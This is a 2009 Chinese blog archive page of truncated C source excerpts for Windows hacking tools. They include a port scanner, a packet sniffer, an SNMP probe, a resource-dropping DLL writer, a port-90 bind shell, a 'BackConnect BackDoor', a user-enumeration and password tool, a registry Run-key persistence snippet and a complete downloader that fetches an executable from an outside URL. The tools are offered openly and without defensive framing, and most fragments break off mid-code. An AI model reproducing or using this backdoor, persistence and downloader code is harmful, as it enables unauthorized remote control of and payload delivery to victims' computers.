2009年3月29日
摘要:
#include <stdio.h>#include<winsock2.h>#include <time.h>#pragma comment(lib,"ws2_32.lib")char *host;int threadnum,maxthread,totalport;long nowport;TIMEVAL timeout;FD_SET mask;void usage(char *name){printf("/t===================Portscaner======================/n") 阅读全文
摘要:
#include <windows.h>#include<stdio.h>#include "resource.h"void WriteResourceToFile(char const *filename){HINSTANCE hInstance=GetModuleHandle(NULL); HRSRC hResInfo = FindResource(hInstance, MAKEINTRESOURCE(ID_MAGICDEL_DLL), MAKEINTRESOURCE(RC_BINARYTYPE)); HGLOBAL hgRes = LoadRe 阅读全文
摘要:
#include <stdio.h>#include <winsock2.h>#include <ws2tcpip.h>#pragma comment (lib,"ws2_32.lib")#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)struct IPHEAD{ unsigned char h_len:4;//4位首部长度+4位IP版本号 unsigned char ver:4; unsigned char tos;//8位服务类型TOS unsigned short total_len;//16位总长度 阅读全文
摘要:
/*---------------------------------------SNMP信息刺探程序----------------------------------------*/#include <stdio.h>#include <malloc.h>#include <snmp.h>#include <mgmtapi.h>#pragma comment(lib,"Mgmtapi.lib")#pragma comment(lib,"Snmpapi.lib")//利用 SNMP API时需要以上头文件 阅读全文
摘要:
#include <winsock2.h>#pragma comment(lib, "ws2_32.lib")#pragma comment(lib, "kernel32.lib")#define PORT 90SOCKET ServerSocket = INVALID_SOCKET;SOCKET ClientSocket = INVALID_SOCKET;HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;u_char varA,varB;DWORD WINAPI ThreadFuncA( 阅读全文
摘要:
#include<winsock2.h>#include<stdio.h>#pragma comment(lib,"ws2_32.lib")void main(int argc,char **argv){char *messages = "/r/n======================== BackConnect BackDoor V0.1 ========================/r/n========= Welcome to Http://www.hackerxfiles.net =========/r/n"; 阅读全文
摘要:
#include <windows.h>#include <stdio.h>#include <lm.h>#pragma comment (lib, "Mpr.lib")#pragma comment (lib, "Netapi32.lib")void getuser(char *);void main( int argc, char *argv[ ] ){DWORD ret;char username[100] = "", password[100] = "";char ser 阅读全文
摘要:
#include<windows.h>int main(){STARTUPINFO si; //进程启动时需要初始化的结构PROCESS_INFORMATION pi; //进程启动后的有关信息si.cb = sizeof(STARTUPINFO);GetStartupInfo(&si); si.wShowWindow = SW_SHOW;//这里设置窗口为显示,SW_HIDE为隐藏窗口si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;CreateProcess("C://Program Files/ 阅读全文
摘要:
#include <stdio.h>#include <windows.h>int main(void){char regname[]="Software//Microsoft//Windows//CurrentVersion//Run";HKEY hkResult;int ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult);ret=RegSetValueEx(hkResult,"hacker"/* 注册表键名*/,0,REG_EXPAND_SZ,(unsigned c 阅读全文
摘要:
#include <urlmon.h>#pragma link "w32inet.lib" int main(){HRESULT hRet=URLDownloadToFile(0,"http://www.1111.com/abc.exe","d://abc.exe",0,0); if(hRet==S_OK) { printf("Download OK!/n");} else { printf("Download Failed!/n");}return 0;} 阅读全文